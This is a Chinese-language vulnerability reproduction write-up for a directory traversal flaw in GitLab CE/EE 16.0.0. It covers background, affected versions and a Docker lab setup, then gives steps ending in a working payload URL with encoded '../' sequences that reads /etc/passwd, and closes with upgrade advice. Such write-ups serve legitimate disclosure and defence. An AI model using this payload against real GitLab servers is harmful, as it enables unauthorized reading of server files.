0x01 产品简介
Gitlab是目前被广泛使用的基于git的开源代码管理平台, 基于Ruby on Rails构建, 主要针对软件开发过程中产生的代码和文档进行管理,同时可以搭建Web服务。
0x02 漏洞概述
GitLab 存在目录遍历漏洞,当嵌套在至少五个组中的公共项目中存在附件时,未经身份验证的恶意用户可以利用该漏洞读取服务器上的任意文件。
0x03 影响范围
GitLab CE 16.0.0
GitLab EE 16.0.0
0x04 复现环境
Docker搭建GitLab CE 16.0.0
拉取镜像
docker pull gitlab/gitlab-ce:16.0.0-ce.0
创建并开启容器
docker run -p 80:80 -d gitlab/gitlab-ce:16.0.0-ce.0
查看root密码
docker exec -it 容器id /bin/bash
cat /etc/gitlab/initial_root_password
0x05 漏洞复现
前提条件:
需要一个至少嵌套五层以上可公开访问到的group项目 而且存在附件(issus 评论 等)
或普通用户权限 手动创建 多层group和项目
一直循环以上操作嵌套5个以上(我这边创建了9个)
然后在group9个下面创建个项目
项目下面创建一个issues,并上传一个附件(我这边上传了一个txt文件 )
可以看到,回显了上传路径,拼接路径尝试访问附件
回显了文件内容,构造payload读取任意文件
http://your-ip/group1/group2/group3/group4/group5/group6/group7/group8/group9/123/uploads/dde0c86647fa452e76b94c9588d7fcbb/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
0x06 修复建议
目前官方已发布安全修复更新,受影响用户可以升级到 GitLab CE/EE 16.0.1。